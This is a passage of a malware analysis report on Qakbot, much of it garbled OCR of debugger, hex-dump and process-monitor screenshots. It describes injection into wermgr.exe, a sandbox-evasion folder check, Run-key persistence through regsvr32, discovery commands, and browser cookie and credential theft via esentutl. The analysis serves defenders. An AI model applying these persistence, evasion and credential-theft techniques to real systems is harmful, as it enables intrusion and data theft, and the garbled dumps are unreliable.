Key HKLMYSYSTEM\ControlSet001\Control\Session Ma...  0x250 References Guota charges
Key HKCU\Software\Classes 0x2b0 References: 193662 Paged: 4096
Key HKCU x2be Handes: 5 Monpaged: 2636
Key HKLMYSYSTEM\ControlSet001\ControlMis\Sorting. .. Ox2e0
Key HKCU\Software\Microsoft\Windows NT\Currenty...  0x37c
Mutant \Sessions\1\BaseNamedObjects\sM0; 2836: 168:...  Ox2cC
Process wermgr.exe (5448) 0x36c I

ECuon INQOWS |1 NEmE Oxa00
Section \Sessions\1\Windows\Theme 3023021736 Ox2d4
Semaphore \Sessions\1\BaseMNamedObjects\SM0: 2836:168:...  Ox2d8
Thread regsvr32.exe (2838): 11976 0260
Thread [egsvr32.exe (2836): 11976 03344
Thread wermgr.exe (5448): 4296 0x368 I
WindowStation \Sessions\1\Windows\WindowStations\WinStal Owc
WindowStation \Sessions\ 1\Windows\WindowStations\WinStal OxdD Cancel

The injected process (wermgr.exe) contains a newly allocated memory space found in 0x302000. The page has RWX (Read,
Write, Execute) protection, and this page contains an MZ header of the injected Qakbot DLL.

L]
Goral Stpiis Perfumance | Tivends Tk Moddes Memory  Envesment Hordles P Dk Nelwork  Gorment
[AHide free regons Stings. Refiesh
Base address. Type Size Protect... Use Total WS Private WS Shareable WS Shared WS Lodked WS B wermgr.exe (3448) (0x3020000 - 0x3049000) e =] x
saasaoon e N WX G ONG erngr. e e we  moe
vudzncon Haspes R 28 i P E
b prate e A e e
b prvete s ™ o8
vaison Maped P e .
x2470000 Private 25648 RW Stack (thread 4796) ke nie
baboma  prete e R Stk 326t fovesd 56) 210 wia
0x2d0000 Mapped 18B8 R 48 48
0x2e00000 Private. 2088 AW PEB 048 08
G0 Maped w6 p .
s pruate sie_mn s sa
I "~ Ux3020000 Mapped o3k RAR A o318
Ox3020000 Mapped: Com.... 16418 RWK 1B4kE 16418
U [ ———— I e e
0x7fde0000 Mapped 48 R “h8 48
boRorD Mapped wie e e
b0 Prate we R usm s paTe
oo et o 8 8 s
oM prvete rosraie R
OSSO  Meped 2148, NA e i ..
0x7Hf333c20000 Image 1,98448 WX € Windows\Systen32iitdl.dl 198448 E1) 1,988
Reresa || wne || om.. |wbrepmen v s

In addition to the AV enumeration, Qakbot also checks if it is running on the Windows Defender sandbox. Qakbot checks

the existence of a subdirectory: “C:\INTERNAL\\__empty.” If this folder exists, the Qakbot process terminates itself.
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sub esp,cs
mOV eax;dword ptr ds: [74€85800)

Tor saxeb
20y dwotd per 55:len-oll, cax
Dush eox
Bush &1
ush cai
Bov ea1,guora ptr 53: fevp-cd
ea eax. rd ptr 55:febp-3CH

bp- 20 rebx
<aZwquéryATTr ibUTesF
: (30]

= Hide FRU
EAX  FFEFFREE
€8x 00000000
GetFileattributesn Ecx  7m38001C
EDX 00000000
EBP 0323514
Ese 03238304
Est

00000000
1 0OMSECFS  "UHfAA"eE"

EIF  7400F663  kernelbase.40DFG63

Fonpedi iz ErLaGs 00000246
o ZF L PE1 AF O

oFo SFo DFO

o o 1

LastError 00000003 (ERROR_PATH_NOT_FOUND)
LaStetatus C00003A (STATUS.DRJECT PATH.NOT_FOUND).
6s 0028 Fs 0053

€5 0028 Ds 0028

€3 0022 ss oozs

77\\C: \\INTERNAL\\__empty™

st xa7ro npty

sTay Xaori empry

ST X872 Enpty O

STG3) x87r3 Enpty

s Xa7rs Empry

T8 x87r5 Empty

ST(6) X87r6 EMOTY =

< >

Default (sl 1[5 [#] 0] urloged
ot

T
: [espre] o3z3e528

I
2
3: [espec] 0323E518 &7 R[AJAVKIO
3: [espeid) o3z3e

5

edT-004sECFs "UCT AR TEE"

-TeXT:7400FSEQ kernelbase.d]1:SEFSEQ 4EE9EO <GETFIleATTribuTesN:

i Hni] B0 - e oavao

Feturn to From 777
L5C:\\INTERNAL \\__empTy"

@owmp1  @oump2  §Houme3  WMoumps  Moums @ wewhi el P sruc osDFFsBS
ascrz I 0333518 e mr_atAvao”
Coga s 72114 00 16 00 OIRIEELR | 4" ml A
77501010(00 00 02 00|80 SA S0 77| OE 00 10 00 3[77571006| return to ned11.77571006 from 777
77501020 0c 00 O 000D S0 73|06 00 08 00 05860000 “MZ#
77501030 06 o0 08 00|C0 M@ a7 o€ 00 08 09 7€ \\INTERNAL\\ _empty”

775010%0 | 06 00 08 00| D 3o

e oer

507 7855,
00000000!

00000000
0045 ECF 4| volleyed. Entryroint
0000/ volleyed. 00430000

£s50)
5 5608 return to ntdl1.77535608 from ntdl1.775710C0
0045ECr 3 volleyed. Entryroint
0000| volleyed. 00400000
0001

During our analysis, we spotted that the unpacked Qakbot DLL was inside the injected process memory.

This unpacked Qakbot DLL has unique indicators:

e DLL internal name: fwpolicyiomgr.dll

e DLL export functions: DIIRegisterServer, DllInstall

Offset

1CFBO
1CFB4
1CFB8
1CFBA
1CFBC
1CFCO
1CFC4
1CFC8
1CFCC
1CFDO
1CFD4

Name Value

Characteristics 0
TimeDateStamp  FFFFFFFF
MajorVersion 0
MinorVersion 0
Name 1CFEC
Base 1
NumberOfFunc... 2
NumberOfNames 2
AddressOfFunc... 1CFD8
AddressOfNames 1CFED
AddressOfNam... 1CFES

Meaning

Sunday, 07.02.2106 06:28:15 UTC

fwpolicyiomgr.dll

Exported Functions [ 524453 entries ]

Offset

1CFD8
1CFDC

Ordinal

1 66CA
2 B6EA

Function RVA

Name RVA Forwarder

1CFFE
10010

Name

DlIRegisterServer
Dllinstall

Here is an older version of the Qakbot unpacked DLL from previous campaigns:

¢ DLL internal name: visualstudio_helper.dll

e DLL export function: DIIRegisterServer
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Disasm: text  General DOSHdr  RichHdr  FileHdr  Optional Hdr  Section Hdrs =~ ™ Exports ™ Imports ™ Resources! P
o

Offset Name Value Meaning ()

5FD60 Characteristics 0

5FD64 TimeDateStamp  FFFFFFFF Sunday, 07.02.2106 06:28:15 UTC

5FD68 MajorVersion 0

SFD6A MinorVersion 0

SFD6C Name 5FD92 visualstudio_helper.dll

5FD70 Base 1

S5FD74 NumberOfFunc... 1

5FD78 NumberOfNames 1

SFD7C AddressOfFunc... 3FD88 v

Exported Functions [ 1entry]

Offset Ordinal Function RVA Name RVA Name Forwarder

5FD88 1 183B0 SFDAA DlIRegisterServer

After the injection, Qakbot stores the content of its DLL in memory, and it corrupts the image file (DLL) on the disk by

overwriting it with junk data. This is done to interfere with forensics and analysis attempts:
Size:

4.00 KB (4,096 bytes)
4.00 KB (4,096 bytes)

Size: 628 KB (643,400 bytes)

Size on disk: 630 KB (645,120 bytes) Size on disk:

i8] wvolleyed.dat

Offset(n) 00 01 02 03 04 05 06 07 0% 0% O OB OC OD OE OF 10 11 12 13 14 15 16 17 1% 19 1k 1B 1C 1D 1E 1F Decoded text

00000000 50 00 02 00 FF 00 00 B8 00 00 00 00 00 00 0O 40 0O 1A 00 00 00 00 0O

00000020 00 00 00 00 00 00 oo 00 00 00 00 01 00 0O

00000040 BA 10 00 OE 1F B4 21 72 61 6D 20 6D 75 73

00000060 74 20 €2 €5 20 72 72 7 00 00 00 00 00 0O 00

00000080 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00

Q000000A0 00 00 00 0O 00 0O 00 00 00 00 0O 00 00 00 00 Q0 00 0O

000000C0 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 0O 00

000000EC 00 00 00 00 00 00 oo 00 00 00 00 00 00 00

00000100 50 45 00 00 4C 01 oo 0l 02 1% 00 DE 05 0O

00000120 OO0 DA 03 00 00 00 FoO 10 00 00 00 02 00 00

00000140 04 00 00 00 00 00 oo ER 08 00 02 00 01 0O

00000160 00 00 00 00 00 00 oo 00 00 00 00 00 00 OO0

00000180 00 20 06 00 4E 21 00 BC 09 00 48 15 00 00

000001R0 00 50 06 00 CC 73 0o 00 00 00 00 00 00 00

000001C0 00 00 00 00 00 00 oo 00 00 00 00 00 00 OO0

000001E0 00 00 00 0O 00 00 00 4F 44 45 00 00 00 0O

00000200 24 DD 05 00 00 10 oo 00 00 00 20 00 00 &0

00000220 44 41 54 41 00 00 ic 00 00 00 00 00 00 OO0

00000240 00 00 00 0O 40 00 OoF 00 00 00 00 FE 05 00

00000260 00 00 00 00 00 00 ] 21 00 00 00 20 0€ 0O

00000280 oo 72 €5 &C 6F €3 00 00

000002R0 00 00 00 00 40 00 00 50

Q00002C0 2E 72 73 72 €3 00 28 00 00 00 00 00 00 00

000002EC 00 00 00 00 40 00 oo 00 00 00 00 BC 0§ 00

00000300 00 00 00 0O 00 00 00 00 00 00 00 00 00 0O

00000320 00 00 00 00 00 00 oo 00 00 00 00 00 0O 00

00000340 00 00 00 00 00 00 oo 00 00 00 00 00 00 OO0

00000360 00 00 00 0O 00 0O 00 00 00 00 00 00 00 0O

00000380 00 00 00 00 00 00 oo 00 00 00 00 00 0O 00

000003R0 00 00 00 00 00 00 oo 00 00 00 00 00 00 00

000003C0O 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

000003E0 00 00 00 00 00 00 oo 00 00 00 00 00 0O 00

00000400 20 11 41 1C 70 11 28 2B 40 1C 01 00 00 20  .R.p.R.4+@.E+@.@+@....€446....€
00000420 FO 2B 40 1C 02 00 2C 2C 40 1C 06 00 00 20 &4@....€u0+6....€.,6....€.,8 ..€
00000440 1C 2C 40 1C 05 00 2c 2C 40 1C 02 00 00 80 .,@....€(,8....€L,8....Ep,B....€
00000460 9B 2C 40 1C 03 00 2c 2C 40 1C 05 00 00 20 *,@....€°,@....€0,8....€e,0....€
00000480 FO &1 40 1C DO SD SE Co 40 1C 70 D3 40 1C 82@.D]E@.PbR.G"@.°~E. "@..E@.pOE.
00000420 CO C3 40 1C 50 C4 cs D3 40 1C 10 C& 40 1C AR@.PAG..E@.0AR.pAR..AR.A0R. .E@.
000004C0 CO C5 40 1C DO C5 c7 €4 40 1C CO DE 40 1C AAR.PAR. ER.aER.0CE.°LR. d@.AGE.
000004EQ  CO 4C 40 1C DO 4C 0l 00 00 01 0O 10 41 1C AQ 43 40 1C AL@.DLE..(B.8........... A.n. c@.
00000500 00 00 00 0O 00 00 67 40 1C 80 &8 4C 40 1C 00 4D 40 IC ... ievvennnn ﬁg@ €n@. i@.5LE..ME.
00000520 BO DO 40 1C 50 DO 4D 40 1C 10 C1 C3 40 1C 50 C3 40 1C °B@.PPE. PR..MR..AR.DAR..AR.PRE.
00000540 A0 C3 40 1C 30 &R €7 40 1C EO 62 6 40 1C 10 62 40 1C  A@.03@.°3@.pg@.37@.@iR.Ej@..J6.
00000560 00 68 40 1C 70 64 BA 40 1C &0 BB 69 40 1C 90 69 40 1C .h@.pj@. »@.A°@. »@..n@.Pi@..1iE.
00000580 00 A% 40 1C 80 A% LR 40 1C €0 BB 5B 40 1C 50 5C 40 1C .©R.€06..E@..*@. «B.€ER.3[R.P\E.
000005R0 20 5C 40 1C RO 4D 4F 40 1C 70 4E 69 40 1C 60 67 40 1C  \@. M@..N@.PN@.pNE. N@. if. gf.

Qakbot stores its configuration in a fileless manner by loading its configuration from its resource section and then storing its

configuration in the registry, in HKCU\\Software\\Microsoft\\[ RandomDir].
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type (10) name file-offset (59) signature (9)  size (202963 bytes) file-ratio (31.55%) entropy language (3) first-bytes-hex first-bytes-text
123 B unknown 5666 0.88 % 7.967 unknown E N T BT TR ) ey

22 A unknown 167940 26.10% 7552 unknown

wnnna|PunkAuuZCunnulom

Two suspicious Qakbot resources

Time of Day Process Name PID Operation Path Resuit Detail
5:04:02.7664870 PM Elilwermgr.exe 7328 @i RegSetValue  HKCU\Soft Mi ft\Uboeuaipiamc\ 1220038 SUCCESS Type: REG_BINARY, Length
5:04:02.7667480 PM Ellwermgr.exe 7328 [BjRegSetValue  HKCU\Software\Microsoft\Uboeuaipiamc\2f 3¥d3b6 SUCCESS Type: REG_BINARY, Length
5:04:02.7669228 PM uwelmg'.exe 7328 @y RegSetValue  HKCU\Software\Microsoft\Uboeuaipiamc\2d7ef 3ca SUCCESS Type: REG_BINARY, Length
5:04:02.7674184 PM Ellwermgr.exe 7328 [ RegSetValue  HKCU\Software\Mi ft\Uboeuaipiamc\5076bc40 SUCCESS Type: REG_BINARY, Length
5:04:03.1860751 PM Ellwermgr.exe 7328 @y RegSetValue  HKCU\Soft Mi ft\Uboeuaipiamc\9783b4d3 SUCCESS Type: REG_BINARY. Length
5:04:03.1862821 PM Ellwermgr.exe 7328 [BjRegSetValue  HKCU\Soft Mi ft\Uboeuaipiamc \65e 96c0e SUCCESS Type: REG_BINARY, Length
5:04:03.2261011 PM QWelmg'.exe 7328 @y RegSetValue  HKCU\Software\Microsoft\Uboeuaipiamc\1aa0038 SUCCESS Type: REG_BINARY, Length
5:04:03.2499761 PM Eliwermgr.exe 7328 @y RegSetValue  HKCU\Software\Microsoft\Uboeuaipiamc\52379¢c3c SUCCESS Type: REG_BINARY. Length
B Registry Editor
File Edit View Favorites Help
Computer\ HKEY_CURRENT_USER\Software\Microscft\ Uboeusipiamc
-r A || Name Type Data
s REG_SZ (value not set)
N ,'.':M.nmzm REG_BINARY 4d ca 7d 77 ec ca 6a 1¢ 85 29 Ob d5 97 789b b 5102 d0 €9 b1 39 ¢ 68 86 97 d5 71 0c f0 le d7 57 94 ¢8 97 de 0f 37 3af...
e ﬂ\ldhﬁc- REG_BINARY ac d6bd ac a7 00 a7 68 6e 44 €9 b3 31 Te 66 ec 71 Tb a1 d3 1b 33 ¢9 1750 08 7 d9 24 9 66 164b a1 3f 09 44 12 93 a8 8...
T - {'ﬁ{]?ﬂ'd}hﬁ REG_BINARY f5b278c6518f16a7 5845fb 9892 1ab03b2d35bb 1413921692 b5d5f62321c555d5d2fc 96723081 c2 el eB...
[ u?bﬂ?&l:dﬂ REG_BINARY fie 57 cc 82 68 3912 67 79 12 98 53 90 65 71 05 55 f2 ae 7b 16 d9 a9 75 fe 06 31 95 d8 78 56 f4 c2 4e 43 7 2f f6 b6 36 7 80...
et 379c3c REG_BINARY b2 e be 77 ec 6b 4d ae 83 4762 4d 22 39 3f ee 69 59 28 b2 11 6f d2 <f 7d 02 cc 2c 29 8 de 16 b7
- 5e96c0e REG_BINARY 716 a1 12 4a ba 17 Oc 40 4¢ f0 f 5b 05 7 Tb ba 01 53 75 fb 26 7a 19 53 32 9 de Oc Be ab 49 4613 63
[ c294af REG_BINARY 809d 2¢ 39 c0 16 ac 1e d0 fd 26 €1 87 62 2d 60 b0 <d 4d d2 5f €5 77 96 84 27 51 a1 c3 23 58 24 57 40 66 29 4e 09 09 8e §...
- 744)9783b4d3 REG_BINARY 1d 6c d14b 29 34 73 80 b2 d3 be 63 8d 17 8d df 31 7e 50 8d 64 26 1c ¢1 Oe 82 b9 d7 €7 cc f5 b9 82 84 5d ec d2 d9 28 e1 5...
— — 1) eBeadb2s REG_BINARY Oa bf Oc €7 56 3d 4c b9 2 8003 17 3e OF 27
L5 . ]
i Sinie
f———
—
-
F—
W
okl
pr—
T
Uboeuaipiamc
L)
LR =0
e
=g
rok
Persistence

The persistence mechanism of Qakbot is a registry Run key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run).

First Qakbot creates a subdirectory with a random name under the %APPDATA%\\Microsoft\\ and drops a copy of Qakbot’s

DLL for the Run key persistence. The persistence mechanism triggers when the system shuts down or restarts.

Time of Day Process Name PID Operation Path
6:00:15.5291712 PM Ellwermgr exe 11492 [P.CreateFile C:\Users" " AppData'\Roaming\Microsoft\Zadabakyje \
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| ¥ | C\Users AppData\Roaming\Microsoft
Home Share View

« =2 v 1 » ThisPC » Local Disk (C:) » Users » | > AppData » Roaming > Microsoft
Microsoft G Name Type Size
Zadabakyje File folder
LI o e
= [e
=
| ]
=
-
=
= = =
- =
LR . En
=
L
-
EEE
.
-
mEE
L]
.

During the system shutdown/restart the copy of the Qakbot DLL is dropped to “C:\\Users\\
{User}\\AppData\\Roaming\\Microsoft\\Zadabakyje\\uboeuai.dll”:

Process Details.Process Params Extra Info.Operations Extra Info.Fixed File

C:\Windows\SysWOW64\wermgr .exe c:\users) appdata\roaming\microsoft\zadabakyje\uboeuai.dll

And a new value in the registry Run key is created. Registry value = KNBLORIAPI, the data type of the value is a REG_SZ
and it contains the following data: regsvr32.exe “C:\\Users\\
{User}\\AppData\\Roaming\\Microsoft\\Zadabakyje\\uboeuai.dll”:

Process Details.Process Extra Info.RegFilterType Extra Info.Registry
Params Extra Info.Registry key value

C:\Windows\SysWOW64\we [N PORCIRNPELIETIIOESE \REGISTRY \ - - . & H1\SOF  KNBLORIAPI regsvr3z.exe “C:I\\Users\\ \\AppData\ \Roaming\\Mic
rmgr.exe me TWARE \MICROSOF T\WINDOWS\CURRENTVERSION\RUN rosoft\\Zadabakyje\\uboeuai.d11"

Extra Info.Decoded Registry data

At the reboot of the compromised system, the Run key is executed, and run the following command:

Grandparent Process Details Process Params
Parent Process Details Process Params Process Details.Process Params

C:\windows\Explorer.EXE "C:\Windows\System32\regsvr32.exe” "C:\Users AppData\Roaming\Microsoft\Zadabakyje\ub “C:i\Users\ AppData\Roaming\Microsof t\Zadabakyje\uboeua

i.d11*

oeuai.dll”

Here’s another example of the persistence process:
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B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Name Type Data
ab) (Default) REG_SZ (value not set)
e Ftlaahvgjaco | REG_SZ regsvr32.exe *CA\Users amarAppData\Roaming\Microsoft\Ryucudzhnid\pbgrkdil” |
_. il t Class: Registry
Operation: RegDeleteValue
Qakbot install itself to the run key at the Result: SUCCESS
shutdown or a system suspend process ’ .
= - Path: HKCW\Software\Microsoft\Windows\CurrentVersion\Run\
S Duration: 0.0000919
Qakbot delete the run key atthe restart or a o s
system wake up process
= | C:\Users\ s “AppData\Roaming\Microsoft\Ryucudzhnid - U X%
Home Share View
v 4 || « LocalDisk (C:) » Users > wm - AppData > Roaming > Microsoft > Ryucudzhnid R’ R
- Name ’ Date modified Type Size
J T TR - Qakbot drop a DLL payload at the shutdown
i peon e N I > or a system suspend process
A Class: File System
- Operation: IRP_MJ_CLEANUP
B Qakbot delete the DLL payload at the restart
— | Result: SUCCESS
< or a system wake up process
Path: C:\Users AppData\Roaming\Microsoft\Ryucudzhnid\pbgrk.dll
= Duration: 00001458

Qakbot uses an anti-forensics technique by deleting and removing the persistence. On the system boot, the DLL file is
removed from the C:\\Users\\{ User }\\AppData\\Roaming\\Microsoft\\{ RandomDir }\\, and the run key value is removed
from the registry key.

Discovery

The injected Qakbot process executes automated discovery commands with legitimate Microsoft Windows built-in

command-line binaries.

These discovery commands collect information about the compromised system and send the information to the C2 server.

This action serves the threat actors for mapping the system for lateral movement.

e netview
o Description: This command displays a list of domains, computers, or resources that are being shared by the
specified computer. Used without parameters, net view displays a list of computers in your current domain.
e cmd /c set
o Description: This command displays the system environment variables.
e arp-a
o Description: This command displays entries in the ARP (Address Resolution Protocol) table.
 nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.<domain_fqdn>
o Description: This command displays SRV service location records specifically the domain controllers on the
domain.
« ipconfig /all
o Description: This command displays all current TCP/IP network configurations.
 net share
o Description: This command displays information about all the resources that are shared on the local computer.
e route print
o Description: This command displays the entries in the local IP routing table.
* netstat -nao
o Description: This command displays active TCP connections, ports on which the computer is listening,

Ethernet statistics, the IP routing table, IPv4 statistics
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 net localgroup

o Description: This command displays the name of the server and the names of local groups on the computer.
¢ whoami /all

o Description: This command displays user, group, and privileges information for the user who is currently

logged on to the local system.

HJE‘ ermgr.exe (8964) C:\Windows\SysWOW64\wermgr exe Windows Proble

=] & netexe (5136) net view Net Command
g% Conhost exe (1468) \?M\C:\Windows\system32\conhost exe O«fffffff -ForceV1 Console Window
-) 2% cmd.exe (9080) cmd /c set Windows Comma
g1 Conhost exe (1048) \?NC:\Windows\system 32\conhost exe Ou«fffffff -ForceV1 Console Window
=) [# amp.exe (1208) amp -a TCP/IP Arp Comi
gu% Conhost exe (6232) \?NM\C:\Windows\system32\conhost.exe («ffffffff -ForceV1 Console Window
=) ‘& ipconfig.exe (5912) ipconrfig /all IP Corfiguration |
g% Conhost exe (7452) \?7\C:\Windows\system32\conhost.exe (ufffffff -ForceV1 Console Window
= ,,.a nsldokup exe (4768) nslookup quernytype=ALL timeout=12 _|dap._tcp.dc._msdcs CORP nslookup
g% Conhost exe (8344) \2MC:\Windows\system32\conhost.exe Oufffffff -ForceV1 Console Window
o) & netexe (7044) net share Net Command
g% Conhost exe (8032) \?MC:\Windows\system32\conhost.exe (ffffff -ForceV1 Console Window
# netl.exe (2844) C:A\Windows'\system32\net 1 share Net Command
=] & route exe (8784) route print TCP/IP Route C¢
g2% Conhost exe (3500) \?7\C:\Windows\system32\conhost.exe O«fffffff -ForceV1 Console Window
-] # netstat exe (624) netstat -nao TCP/IP Netstat C
g2% Conhost exe (5244) \?M\C:\Windows\system32\conhost.exe O«fffffff -ForceV1 Console Window
-] & netexe (1128) net localgroup Net Command
#2¥ Conhost exe (1068) \?M\C:\Windows\system32\conhost.exe Oufffffif -ForceV1 Console Window
% netlexe (8828) C:\Windows\system32\net 1 localgroup Net Command
= ‘% whoami.exe (4352) whoami /all whoami - displays
#3¥ Conhost exe (5624) \?M\C:\Windows\system32\conhost .exe Qdfffffff -ForceV1 Console Window

Credential Access and Collection (Web-Browser)

One of the Qakbot capabilities is information stealing. It steals sensitive information from Internet Explorer and Microsoft

Edge by executing the esentutl.exe command line:

» esentutl.exe /r VO1 /1”C:\\Users\\{ User }\\AppData\\Local\\Microsoft\\Windows\\WebCache” /s”C:\\Users\\
{User\\AppData\\Local\\Microsoft\Windows\\WebCache” /d”C:\\Users\\
{User}\\AppData\\Local\\Microsoft\\Windows\\WebCache”

Parent Process Details.Process
Params Process Details.Process Params

C:\Windows\SysWOW64\wermgr.exe esentutl.exe /r V81 /1°C:\Users)\ \AppData\Local\Microsoft\Windows\WebCache"

Data\Local\Microsoft\Windows\WebCache"

The injected Qakbot process performed the Web-Browser collection by receiving from the C2 server a cookie grabber

module that allows it to access web-browsers credentials and data. This data is stored on the disk:

Process Details.Process Params Extra Info.Operations Extra Info.Fixed File

C:\Windows\SysWOW64\wermgr .exe Read c:\users)\ \appdata\local\google\chrome\

C:\Windows\SysWOW64\wermgr.exe Read c:\users\w== \appdata\local\google\chrome\

The cookie-stealing module contains the following strings:
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0005DA4C
0005DAZ0
0005DAD4
0005DC18
0005DC4C
0005DCeC
0005DCAC
0005DCB8
0005DCCC
0005DD08
0005DD40
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\Microsoft\Windows\WebCache
WebCacheV01.dat

esentutl.exe /r V01 /1"%s" /s"%s" /d"%s"
CookieEntryEx_%u
\Mozilla\Firefox\Profiles
cookies.sqlite

APPDATA

bt

\Cookies

\Local Settings\Temp\Cookies
\Microsoft\Windows\Cookies
\Microsoft\Windows\INetCookies

The credential stealing and keylogging module contains the following strings:
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00052598 LEFT

000525A0 RIGHT

000525A8 BACKSP

00052580 DELETE

00052588 HOME

000525C4 ESCAPE

000525D0 <%s>

00052640 Profile%u

00052650 http://

00052658 NSS layer

00052680 If-Modified-Since
00052698 lf-None-Match
000526A8 2%s%u

00052778 3<<t

000527A0 ¥xWo>

00052840 oV|

000528A6 IF.

00052978 Al2-

000529A9 H'>d

00052900 NtQuerylnformationThread
000529F0 NtReadVirtualMemory
00052A08 SymFunctionTableAccess64
00052A28 SymGetModuleBaset4
00052A3C .gif

00052A44 .CSS

00032A4C JPg

00052454 Jpeg

00052A5C .png

00052A64 Jico

00052A6C .ani

00052A74 swi

00052AA8 %6u.%u.%u.%u
00052AB4 USER

00052ABC PASS
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00021307 ASCII AttributesW
000200A4 ASCII Content-Type
00020738 ASCII DELETE

00020768 UNICODE  Firefox

00020060 ASCII HTTP/1.1

00020594 ASCII HTTP/1.1 for the request.
000214CB ASCII KeyboardState
00020C08 ASCII PASS

000206D0 ASCII Proxy-Connection
0002028C ASCII content-type
00020350 ASCII proxy-authenticate
00020364 ASCII proxy-authorization
0002039C ASCII server

Qakbot botnet; Command and Control

Qakbot injected process communicates (over HTTPS POST request with the victim fingerprinting data) with the C2 servers.

Their IP addresses are stored in a hardcoded list in the configuration that resides in the registry.
Once the Qakbot communication is established, the C2 will send additional modules to the injected Qakbot process.
The following fingerprinting data is sent to the C2 server:

e OS information
e CPU information
e Computer name
e Username

e AD Domain

¢ Running processes
In addition, all the discovery outputs are also sent to the C2 server.

The Qakbot botnet IDs: Obama, BB, etc., are located inside the injected process memory. Here’s an example from an

injected Explorer.exe process:
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87 explorer.exe (904) (0x49bc000 - Ox49d6000)

0000070 Oa £€ d% bS 25 7a 00 02 00 ca %b 04 70 a7 2€ 04 08 00 00 PP PR 1..h....
00000800 04 cB %b 04 £d £f £f ££ a5 70 23 41 00 00 00 8d €% éd €1 mage/jpeg......
00000820 a0 70 20 41 00 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a3 70 2d 41 00 02 00 8d .P A.c.cvvvnncnnnannnaans p-A.

... .image/p)

00000840 (3 00 00 00 00 00 00 OO0 00 ae 70 2a P

00000860 70 €5 €7 00 00 00 00 00 a% 70 37 41 00 04 00 8e €9 &d €1 vesesB T image/gif.aei..
00000880 b4 70 34 41 00 05 00 8d €9 €d €1 €7 65 2f €a 70 €5 €7 00 «esimage/jpeg. . Bl
000002a0 €% €d €1 €7 €5 2f €a 70 €5 €7 00 00 00 00 00 00 b2 70 3e ....image/gi
000008c0 €6 00 00 00 00 00 00 00 bd 70 3b 41 00 08 00 8¢c €5 &d €1 <o+ -pih....image/pipeg.....
000008e0 b8 70 38 41 00 09 00 &d €9 &d €1 €7 €5 2f €a 70 €5 €7 00 00 00 00 00 00 bb 70 05 41 00 Oa 00 8e .pSA....image/jpeg....... Pehesae

00000900 €9 €d €1 €7 €5 2f €7 €9 €6 00 00 00 00 Q0 00 Q0 86 70 02 41 00 Qb 00 8c €9 €d €1 €7 €5 2f 70 6€a image/gif........F.A....i;mage/pj
00000920 70 €5 €7 00 00 00 00 00 81 70 Of 41 00 Oc 00 8c €9 €d €1 67 €5 2f 70 6a 70 €5 €7 00 00 00 00 00 peg......F.A....iM208/PIPET.....
00000940 &c 70 Oc 41 00 Od 00 &c 00 00 00 00 0O 00 00 00 00 00 00 00 00 Q0 00 00 8f£ 70 0% 41 00 Oe 00 8d .p.A.c......
00000960 €5 &éd €1 €7 €5 2f €a 70 €5 €7 00 00 00 00 00 00 8a 70 16 41 00 Of 00 &c €9 &d €1 €7 €5 2f 70 éa image/jpeg.. .p.A....irage/pj
00000980 70 €5 €7 00 00 00 00 00 95 70 13 41 00 10 00 Se €5 €d €1 €7 €5 2f €7 €9 €6 00 00 00 00 00 00 00 peg...... F.-R....image/gif.......
000009a0 90 70 10 41 00 11 00 8e €9 &d €1 €7 €5 2f €7 €9 €€ 00 00 00 00 00 00 00 93 70 ld 41 00 12 00 8e .p.A....image/gif........ Pehe..s
000009c0 €9 €d €1 €7 €5 2f €7 €9 €€ 00 00 00 00 00 00 00 9 70 la 41 00 13 00 &d €9 €d €1 €7 €5 2f €a 70 image/gif........p. «.image/jp
0000090 €5 €7 00 00 00 00 00 00 cb £6 d9 74 €7 7a 00 02 04 00 ad .e «.TQZ.. .
00000a00 %0 08 a0 00 £ c7 Sb 04 00 00 00 00 00 00 00 Q0 01 00 01
00000a20 00 00 00 00 00 00 00 00 S0 08 a0 00 48 00 77 0€ 00 00 00
00000a40 2% 00 02 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
00000a€0 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 Q0 00 00 00
00000a€0 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 Q0 00 00 00
00000aa0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ac0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 0O 00 00 00 0O
00000ae0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000000 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 00 00 00 00
00000b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000b€0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 0O
00000b2a0 00 00 00 00 Q0 0Q 00 00 00 0O 00 00 0O 00 00 QO 00 00 OO
00000bcO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000bed 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000c20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 0O
00000c40 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 Q0 00 00 00
00000c€0 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 Q0 00 00 00
00000cE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q00 00 00 00
00000ca0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000cc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO 00 00 00 0O
00000400 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00
00000d20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000d40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000d€0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00
